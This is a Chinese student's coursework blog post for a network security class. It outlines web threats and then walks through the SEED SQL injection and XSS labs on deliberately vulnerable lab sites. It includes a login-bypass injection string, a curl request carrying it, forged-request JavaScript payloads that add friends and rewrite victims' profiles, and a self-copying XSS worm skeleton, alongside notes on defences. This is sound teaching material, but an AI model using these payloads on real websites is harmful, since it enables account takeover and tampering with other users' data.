20199326 2019-2020-2 《网络攻防实践》第十一周作业

实践内容

11.1 Web应用程序体系结构及其安全威胁

Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行,依赖于浏览器来对应用程序进行渲染和执行

Web应用的体系结构图如下图:

浏览器是瘦客户端,主要完成数据显示和展示内容的渲染功能。而胖服务器负责完成主要业务的计算处理。两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。从图中可以看到,有浏览器,Web服务器,Web应用程序,MySQL数据库等。浏览器就是我们平常使用的那些浏览器,如chrome,firefox等。而Web服务器呢,这个常被称为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行,渲染和展示。web应用程序则是处理业务逻辑的,是比较核心的一部分。数据库则是web应用存储数据的地方。

Web应用安全威胁:

  • 针对浏览器和终端用户的Web浏览安全威胁。如网页木马,网站钓鱼
  • 针对传输网络的网络协议安全威胁,如明文传输监听,拒绝服务攻击等
  • 系统层安全威胁,web站点的宿主操作系统,存在着远程渗透攻击和本地渗透攻击威胁
  • Web服务器软件安全威胁。如IIS和Apache的漏洞
  • Web应用程序安全威胁,编程实现Web应用程序时,由于缺乏安全意识或者有着不良的编程习惯,导致Web应用程序出现安全漏洞。如SQL注入攻击,XSS跨站脚本攻击等
  • Web数据安全威胁,web后台存储的数据,存在被窃取,篡改及输入不良信息等威胁。
11.2 Web应用安全攻防技术概述

针对Web应用程序的探测和漏洞发现有以下技术:

  • 手工审查Web应用程序结构与源代码。这个技术就是通过手工浏览Web应用的各个页面,菜单,目录,来查看关键页面的源代码
  • 自动下载与镜像Web站点页面。在不同操作系统上通过不同的工具软件对目标Web站点指定URL所对应的页面,或符合镜像设置的页面列表进行下载,并查看,搜索与分析本地保存的页面源代码
  • 使用Google hacking技术审查与探测Web应用程序。通过google的高级搜索与挖掘技巧,来寻找一些关注的信息
  • Web应用程序安全评估与漏洞探测。透彻理解目标应用程序的体系结构和设计思路,找出可能存在的薄弱环节,最后再循序渐进的总结出针对这个Web应用程序的详细攻击步骤。

Web服务器平台中的安全漏洞主要分为以下几大类。

  • 数据驱动的远程代码执行安全漏洞
  • 服务器功能扩展模块漏洞
  • 样本文件安全漏洞
  • 源代码泄露
  • 资源解析攻击

Web应用程序安全威胁:

  • 针对认证机制的攻击
  • 授权机制的攻击
  • 客户端攻击
  • 命令执行攻击
  • 信息暴露
  • 逻辑攻击

Web站点除了通过服务器软件和应用程序中存在安全漏洞和弱点遭受攻击之外,还面临着针对敏感数据内容的攻击威胁,具体包括安全敏感数据泄露网站内容遭受篡改,以及不良信息内容上传

Web应用安全防范措施:

  • Web站点网络传输安全设防措施
    1.尽量使用HTTPS
    2.通过加密的连接通道来管理Web站点
    3.对关键的Web服务器,设置静态绑定MAC-IP映射
  • Web站点操作系统及服务安全设防措施
    1.及时打补丁
    2.提前对存在的漏洞进行发现和修补
    3.关闭一些可能存在漏洞的服务
  • Web应用程序安全设防措施
    1.谨慎采用动态页面技术
    2.使用具有良好安全声誉及稳定技术支持力量的Web应用软件包
    3.在必要时候自主或外包开发Web应用程序,在开发和部署过程中重视安全变成,持续性的安全测试与维护
    4.使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计
  • Web站点数据安全设防措施
    1.提高网站维护人员的安全意识
    2.对数据进行日常监测与防护
11.3 SQL注入

攻击原理:SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术,这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如引号(’)等。向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。

SQL注入攻击步骤和过程
1.发现SQL注入点
2.判断后台数据库类型
3.后台数据库中管理员用户口令字猜测
4.上传ASP后门,得到默认账号权限
5.本地权限提升
6.利用数据库扩展存储过程执行Shell命令

SQL注入攻击工具
Wposion:能够在动态Web文档中找出SQL注入漏洞
wieliekoek.pl:能够进行SQL注入漏洞探测
SPIKE PROXY:允许使用者对待注入的字符串进行定制,并执行自动化的SQL注入测试

SQL注入攻击防范措施
1.使用类型安全的参数编码机制。注意参数的类型安全
2.凡是来自外部的用户输入,必须进行完备检查
3.将动态SQL语句替换为存储过程,预编译SQL或ADO命令对象
4.加强SQL数据库服务器的配置和连接

11.4 XSS跨站脚本攻击

XSS(Cross Site Scripting)跨站脚本攻击的最终目标不是提供服务的Web应用程序,而是使用Web应用程序的用户。XSS跨站脚本漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意的HTML或JavaScript代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息,客户端渗透攻击等危害后果。这种攻击最终的受害者是访问这些Web服务器的其他用户

XSS攻击类型
安全业界普遍将其分为两种主要的XSS漏洞类型,即持久性XSS漏洞和非持久性XSS漏洞。利用这两类漏洞的攻击也被称为持久性XSS攻击与非持久性XSS攻击。
持久性XSS漏洞通常出现在一些可以将用户输入持久性地保存在Web服务器端,并在一些正常页面中持续性地显示,从而能够影响所有访问这些页面的其他用户,这种漏洞通常出现在留言本,BBS论坛,博客等Web应用程序中,
非持久性XSS漏洞,当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS漏洞

XSS攻击防范措施
服务器端防范措施:
- 输入验证
- 输出净化
- 消除危险的输入点
客户端防范措施
提升浏览器的安全设置,提高浏览器访问非受信网站时的安全等级,关闭Cookie功能或设置Cookie只读,此外也可以用一些非主流的安全浏览器来降低风险。

实践过程

实践一:SEED SQL注入实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。 该Web应用程序是一个简单>的员工管理应用程序。 员工可以通过此Web应用程序查看和更新数据库中的个人信息。 此Web应用程序主要有两>个角色:管理员是特权角色,可以管理每个员工的个人资料信息。 员工是一般角色,可以查看或更新自己的个人>资料信息。 完成以下任务。

任务一.熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。 该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。 在此任务中,您需要使用数据库来熟悉SQL查询。
1.对于这种含有登录的网页页面,我们可以通过按浏览器的f12按键来查看源代码。然后找到登录框所在的那段,可以发现有个表单,说明登录这个事件的逻辑写在unsafe_home.php这个文件。

2.mysql登录,-u指定用户名,-p指定密码。

3.use命令可以用来使用数据库,我们使用Users这个数据库。然后通过show talbes命令查看这个数据库存在的表。可以看到有个credentials表

4.通过select * from credential命令查询这个表的所有内容.可以看到表的信息,eid,name,salary,birth等等。

任务二:对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
1.首先查看下unsafe_home.php这个文件,看一下代码逻辑。这个文件在/var/www/SQLInjection目录.下图定义了它的数据库查询语句。它是通过匹配name和password来查询的。那我们可以通过#把password注释掉。就可以直接进入系统了。

2.在USERNAME框输入`Admin'#,然后直接登录。发现登录成功。下下图是登录成功的结果。


3.接下来利用一下命令行实现管理员的登录,这里要用到curl这个工具,这是一个利用URL语法在命令行下工作的文件传输工具。使用指令。

  curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%20%23'

即可登录成功,可以看到返回的html代码。这里的%23代表#的意思。

4.然后我们试下能不能修改数据库。这里我用了delete,想删除表。

5.结果删除失败。这是因为MySql中的对策阻止了从php调用多个语句的执行,因此攻击未成功。

任务三:对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
1.首先我们查看下后台代码,在/var/www/SQLInjection/unsafe edit backend.php 这里。然后可以看到下图,这是他的更新逻辑。可以看到是以ID更新数据的。

2.先查看下alice的id,发现是10000

3.然后再alice的编辑页面输入构造好的语句,如下图

4.发现修改成功。薪水变成了200

5.然后我们再尝试下修改其他人的,修改下body的。查询到boby的id为20000。仿照上面,改一下id即可修改。修改结果如下图

6.接下来就是改密码了,从前面的代码可以知道,密码是hash过的,所以我们需要先生成一个hash。这里选择了密码为123456,然后输入下图命令,即可生成。

7.然后输入构造好的语句,修改Password字段。

8.修改成功,可以登录。

任务四:SQL对抗,修复上述SQL注入攻击漏洞
这个任务我给个思路吧,关键就是预编译好sql语句,不在代码中组合sql语句。然后用户输入的参数不会对sql语句造成影响。我觉得可以通过格式化字符串来实现。就是完全把用户输入的用户名密码当做参数,不让他与查询语句有联系。

实践二:SEED XSS注入实验

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

要用到的账号密码

任务一:测试漏洞
1.打开网站(可以在书签里找到),以alice的身份登录系统。修改他的信息。添加一个警示框脚本。然后保存

2.添加完成后,我们再访问alice的主页,发现会弹出一个XSS警告框。说明存在漏洞。

任务二:弹窗显示cookie信息:
1.原理类似任务一,要显示cookie信息,将框中内容改为如下信息。然后保存。

2.打开alice的主页,发现弹出了cookie信息

任务三:窃取受害者的cookies:
这个任务的原理呢。简单介绍一下,假设alice是攻击者,那么他就会在自己页面嵌入个脚本,并施加监听程序,使得外人访问她的主页时,会调用脚本,以此达到窃取的目的。
1.构造一个img标签,其src属性设置为攻击者的机器来实现,当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。构造的命令如下。

2.使用nc监听5555端口,-l指定端口,-v显示详细信息。然后我们使用body登录,查看alice的信息,可以从就能得到boby的cookie信息。

任务四:成为受害者的朋友:
1.想成为受害者的朋友,就得先知道交朋友的逻辑。以alice身份登录系统,然后点击more的member,点击samy。

2.然后可以看到add friend。点击它。

3.这时候我们用http header liver查看他的记录可以看到交朋友需要_elgg_ts和_elgg_token这两个字段。然后我们构造一个URL访问。44是alice的号。代码如下。

4.把编写好的代码存到alice的profile里。一定要记得编辑模式为edit html。

  <script type="text/javascript">
      window.onload = function () {
    var Ajax=null;
      var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
      var token="&__elgg_token="+elgg.security.token.__elgg_token; 
      //Construct the HTTP request to add Samy as a friend.
      var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
      //Create and send Ajax request to add friend
      Ajax=new XMLHttpRequest();
      Ajax.open("GET",sendurl,true);
      Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
  } 
  </script>

5.最后以boby的身份登录,访问Alice的主页,发现已经加alice为朋友了。

任务五:修改受害者的信息:

1.与上个任务类似,我们需要先知道修改信息的逻辑,修改alice的profile,然后查看http header liver,如下图。

2.构造代码,关键部分如下

  var userName=elgg.session.user.name;
  var guid="&guid="+elgg.session.user.guid;
  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
  var token="&__elgg_token="+elgg.security.token.__elgg_token;
  var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

  var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; 

3.以boby身份登录,查看alice的主页,然后返回自己的页面,可以看到信息被修改了。

任务六:编写XSS蠕虫
1.我们开始编写代码,我们的目的就是这段代码能够复制到其他用户那里,那么我们的蠕虫目标就是完成了的,所以我们使用DOM来查看和使用HTML代码,innerHTML方法是开始和结束标签之间的HTML。。我们将下面的程序放在Alice的about me中。
代码如下:

  <script id="worm" type ="text/javascript">
      var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
      var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
      alert(jsCode);
  </script>

2.通过boby访问alice的profile发现这段代码已经被成功的复制,说明我们的目的达到了。

任务七:对抗XSS攻击
1.elgg本身提供了对抗XSS攻击的,插件,我们以管理员身份登录系统,找到下图plugins。然后deactivate HTMLLawed。

2.查看Alice的主页,发现写的代码都失效了,原封不动的呈现在页面上。

学习感想和体会

这次实验总体难度还是有的。实验任务量有点繁多,当然,实验原理也是浅显易懂的。总体来说,这次实验暴露了自己很多方面的不足,数据库,JavaScript等等。还需要深入学习

学习中遇到的问题及解决

问题1:一直下载不了seed 16.04
换了个源下载成功了,不过也是挺耗时的
问题2:不会用http header Liver
咨询了孙启龙同学,得到了解决方案

参考文献

SEED Labs信息安全实验
孙启龙同学的博客
解建国同学的博客

posted @ 2020-05-13 20:58  不摸鱼  阅读(462)  评论(0编辑  收藏  举报